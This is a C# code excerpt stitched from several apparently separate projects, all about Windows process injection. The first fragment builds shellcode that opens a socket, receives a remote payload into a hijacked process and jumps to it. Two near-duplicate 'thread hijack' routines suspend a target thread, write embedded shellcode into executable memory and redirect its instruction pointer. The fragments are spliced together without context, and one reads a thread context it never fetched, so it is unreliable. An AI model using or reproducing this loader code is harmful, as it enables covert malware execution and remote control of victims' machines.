"GetModuleHandleA"); IntPtr exitThread = GetProcAddress(k32Handle, "ExitThread"); //IntPtr setUnhandledExceptionFilter = GetProcAddress(k32Handle, "SetUnhandledExceptionFilter"); IntPtr addVectoredExceptionHandler = GetProcAddress(k32Handle, "AddVectoredExceptionHandler"); if (getProcAddress == IntPtr.Zero || getModuleHandleA == IntPtr.Zero || exitThread == IntPtr.Zero || addVectoredExceptionHandler == IntPtr.Zero) { Console.WriteLine("GetProcAddress() failed - " + Marshal.GetLastWin32Error()); return; } Shellcode shellcode; ShellcodeType shellcodeType; if (isX64) { FakeObject ws2A, wsasockA, sockData, recv; shellcodeType = ShellcodeType.Win64; shellcode = new Shellcode64(shellcodeBuffer, shellcodeBufferSize, memoryAddress) .DebugBreak() .SetEntryPoint() //.AlignStack() .FakePushBytes(32) #if !DEBUG || true /*.MovInt64RegisterC(exitThread) * .CallFar(setUnhandledExceptionFilter)*/ .MovInt64RegisterC(1) .MovInt64RegisterD(exitThread) .CallFar(addVectoredExceptionHandler) /*.PushInt64(exitThread) * .PushInt64(0) * .MovRegisterSPtoGSOffset(0)*/ #endif .NewFakeObject(Shellcode.AsciiCString("ws2_32"), out ws2A) .MovFakePointerRegisterC(ws2A) //.FakePushBytes(32) .CallFar(getModuleHandleA) .FakePopBytes(32) .PushRegisterA() //+module .PushRegisterA() //+module .NewFakeObject(Shellcode.AsciiCString("WSASocketA"), out wsasockA) .MovFakePointerRegisterD(wsasockA) .MovRegisterAtoC() .FakePushBytes(32) .CallFar(getProcAddress) .FakePopBytes(32) .NewFakeObject(socketData, out sockData) .PushByte(0) .PushByte(0) .MovFakePointerRegister9(sockData) .MovInt64Register8(IPPROTO_TCP) .MovInt64RegisterD(SOCK_STREAM) .MovInt64RegisterC(AF_INET) .FakePushBytes(32) .CallRegisterA() .FakePopBytes(48) .PopRegisterC() //-module .PushRegisterA() //+socket .NewFakeObject(Shellcode.AsciiCString("recv"), out recv) .MovFakePointerRegisterD(recv) .FakePushBytes(32) .CallFar(getProcAddress) .FakePopBytes(32) .PopRegisterC() //-socket .PushRegisterA() //+recv .PushRegisterC() //+socket .MovInt64Register9(/*0*/ MSG_WAITALL) .MovInt64Register8(/*bufferlen*/ DefaultMsgSize) .MovInt64RegisterD(memoryAddress) .FakePushBytes(32 + 8) //+aligner .PushInt64(memoryAddress) .JmpRegisterA() .Complete(); } else { FakeObject ws2A, wsasockA, sockData, recvA; shellcodeType = ShellcodeType.Win32; shellcode = new Shellcode86(shellcodeBuffer, shellcodeBufferSize, memoryAddress) .DebugBreak() .SetEntryPoint() .NewFakeObject(Shellcode.AsciiCString("ws2_32"), out ws2A) .PushFakePointer(ws2A) //shellcode.CallFar(GetProcAddress(k32Handle, "LoadLibraryA")); //loaded by default .CallFar(getModuleHandleA) .PushRegisterA() //+handle .NewFakeObject(Shellcode.AsciiCString("WSASocketA"), out wsasockA) .PushFakePointer(wsasockA) .PushRegisterA() .CallFar(getProcAddress) .NewFakeObject(socketData, out sockData) .PushByte(0) .PushByte(0) .PushFakePointer(sockData) .PushByte((byte)IPPROTO_TCP) .PushByte((byte)SOCK_STREAM) .PushByte((byte)AF_INET) .CallRegisterA() .PopRegisterD() //-handle .PushByte(/*0*/ MSG_WAITALL) .PushInt(/*bufferlen*/ DefaultMsgSize) .PushInt(memoryAddress) .PushRegisterA() .PushInt(memoryAddress) //for later use .NewFakeObject(Shellcode.AsciiCString("recv"), out recvA) .PushFakePointer(recvA) .PushRegisterD() .CallFar(getProcAddress) .JmpRegisterA() .Complete(); } success = WriteProcessMemory(processHandle, new IntPtr(shellcode.RemoteAddress), shellcode.Buffer, shellcode.Size, IntPtr.Zero); if (success == false) { Console.WriteLine("WriteProcessMemory() failed - " + Marshal.GetLastWin32Error()); return; } //IntPtr threadHandle = CreateRemoteThread(processHandle, IntPtr.Zero, UIntPtr.Zero, new IntPtr(shellcode.EntryPoint), IntPtr.Zero, NULL, IntPtr.Zero); //if(threadHandle == IntPtr.Zero) //{ // Console.WriteLine("CreateRemoteThread() failed"); // err = Marshal.GetLastWin32Error(); // return; //} const string getThreadContextFailed = "GetThreadContext() failed - "; const string setThreadContextFailed = "SetThreadContext() failed - "; if (isX64) { CONTEXT64 threadContext = new CONTEXT64() { ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER }; success = GetThreadContext(threadHandle, ref threadContext); if (!success) { Console.WriteLine(getThreadContextFailed + Marshal.GetLastWin32Error()); return; } threadContext.Rsp = (ulong)shellcode.RemoteAddress; threadContext.Rip = (ulong)shellcode.EntryPoint; success = SetThreadContext(threadHandle, ref threadContext); if (!success) { Console.WriteLine(setThreadContextFailed + Marshal.GetLastWin32Error()); return; } } else { CONTEXT threadContext = new CONTEXT() { ContextFlags = CONTEXT_INTEGER }; success = GetThreadContext(threadHandle, ref threadContext); if (!success) { Console.WriteLine(getThreadContextFailed + Marshal.GetLastWin32Error()); return; } threadContext.Esp = (uint)shellcode.RemoteAddress; threadContext.Eip = (uint)shellcode.EntryPoint; success = SetThreadContext(threadHandle, ref threadContext); if (!success) { Console.WriteLine(setThreadContextFailed + Marshal.GetLastWin32Error()); return; } } uint suspendc = ResumeThread(threadHandle); if (suspendc == 0xffffffff) { Console.WriteLine("ResumeThread() failed - " + Marshal.GetLastWin32Error()); return; } CloseHandle(threadHandle); CloseHandle(processHandle); EV0REMOTE_LOGIN loginmsg = new EV0REMOTE_LOGIN(shellcode.RemoteAddress, k32Handle.ToInt64(), getProcAddress.ToInt64(), shellcodeType); int msgsize = Marshal.SizeOf(loginmsg); IntPtr msg = Marshal.AllocHGlobal(msgsize); Marshal.StructureToPtr(loginmsg, msg, false); send(tcpSocket, msg, msgsize, 0); }
public static int Main(string[] args) { // Get target process by name ProjectConfiguration projectConfiguration = ProjectConfiguration.GetEmbeddedSettings(); Process targetProcess = Process.GetProcessesByName(projectConfiguration.TARGET_PROCESS)[0]; Console.WriteLine("ProcessId: " + targetProcess.Id); // Open and Suspend first thread ProcessThread pT = targetProcess.Threads[0]; Console.WriteLine("ThreadId: " + targetProcess.Threads[0].Id); IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id); SuspendThread(pOpenThread); // Get thread context CONTEXT64 tContext = new CONTEXT64(); tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL; if (GetThreadContext(pOpenThread, ref tContext)) { Console.WriteLine("CurrentEip : {0}", tContext.Rip); } byte[] payload; payload = ProjectConfiguration.GetEmbeddedResource("shellcode.bin"); // Once shellcode has executed return to thread original EIP address (mov to rax then jmp to address) byte[] mov_rax = new byte[2] { 0x48, 0xb8 }; byte[] jmp_address = BitConverter.GetBytes(tContext.Rip); byte[] jmp_rax = new byte[2] { 0xff, 0xe0 }; // Build shellcode byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length]; payload.CopyTo(shellcode, 0); mov_rax.CopyTo(shellcode, payload.Length); jmp_address.CopyTo(shellcode, payload.Length + mov_rax.Length); jmp_rax.CopyTo(shellcode, payload.Length + mov_rax.Length + jmp_address.Length); // OpenProcess to allocate memory IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); // Allocate memory for shellcode within process IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); // Write shellcode within process UIntPtr bytesWritten; bool resp1 = WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); // Read memory to view shellcode int bytesRead = 0; byte[] buffer = new byte[shellcode.Length]; ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead); Console.WriteLine("Data in memory: " + System.Text.Encoding.UTF8.GetString(buffer)); // Set context EIP to location of shellcode tContext.Rip = (ulong)allocMemAddress.ToInt64(); // Apply new context to suspended thread if (!SetThreadContext(pOpenThread, ref tContext)) { Console.WriteLine("Error setting context"); } if (GetThreadContext(pOpenThread, ref tContext)) { Console.WriteLine("ShellcodeAddress: " + allocMemAddress); Console.WriteLine("NewEip : {0}", tContext.Rip); } // Resume the thread, redirecting execution to shellcode, then back to original process Console.WriteLine("Redirecting execution!"); ResumeThread(pOpenThread); return(0); }
public static void Thread_HiJack(string Process_Name, byte[] payload) { // Process privileges const int PROCESS_CREATE_THREAD = 0x0002; const int PROCESS_QUERY_INFORMATION = 0x0400; const int PROCESS_VM_OPERATION = 0x0008; const int PROCESS_VM_WRITE = 0x0020; const int PROCESS_VM_READ = 0x0010; // Memory permissions const uint MEM_COMMIT = 0x00001000; const uint MEM_RESERVE = 0x00002000; const uint PAGE_READWRITE = 4; const uint PAGE_EXECUTE_READWRITE = 0x40; Process targetProcess = Process.GetProcessesByName(Process_Name)[0]; ProcessThread pT = targetProcess.Threads[0]; Console.WriteLine("ThreadId: " + targetProcess.Threads[0].Id); IntPtr pOpenThread = OpenThread(ThreadAccess.THREAD_HIJACK, false, (uint)pT.Id); SuspendThread(pOpenThread); CONTEXT64 tContext = new CONTEXT64(); tContext.ContextFlags = CONTEXT_FLAGS.CONTEXT_FULL; // Once shellcode has executed return to thread original EIP address (mov to rax then jmp to address) byte[] mov_rax = new byte[2] { 0x48, 0xb8 }; byte[] jmp_address = BitConverter.GetBytes(tContext.Rip); byte[] jmp_rax = new byte[2] { 0xff, 0xe0 }; // Build shellcode byte[] shellcode = new byte[payload.Length + mov_rax.Length + jmp_address.Length + jmp_rax.Length]; payload.CopyTo(shellcode, 0); mov_rax.CopyTo(shellcode, payload.Length); jmp_address.CopyTo(shellcode, payload.Length + mov_rax.Length); jmp_rax.CopyTo(shellcode, payload.Length + mov_rax.Length + jmp_address.Length); // OpenProcess to allocate memory IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, targetProcess.Id); // Allocate memory for shellcode within process IntPtr allocMemAddress = VirtualAllocEx(procHandle, IntPtr.Zero, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), 0x00001000 | 0x00002000, 0x40); // Write shellcode within process UIntPtr bytesWritten; bool resp1 = WriteProcessMemory(procHandle, allocMemAddress, shellcode, (uint)((shellcode.Length + 1) * Marshal.SizeOf(typeof(char))), out bytesWritten); // Read memory to view shellcode int bytesRead = 0; byte[] buffer = new byte[shellcode.Length]; ReadProcessMemory(procHandle, allocMemAddress, buffer, buffer.Length, ref bytesRead); // Set context EIP to location of shellcode tContext.Rip = (ulong)allocMemAddress.ToInt64(); // Apply new context to suspended thread // Resume the thread, redirecting execution to shellcode, then back to original process ResumeThread(pOpenThread); }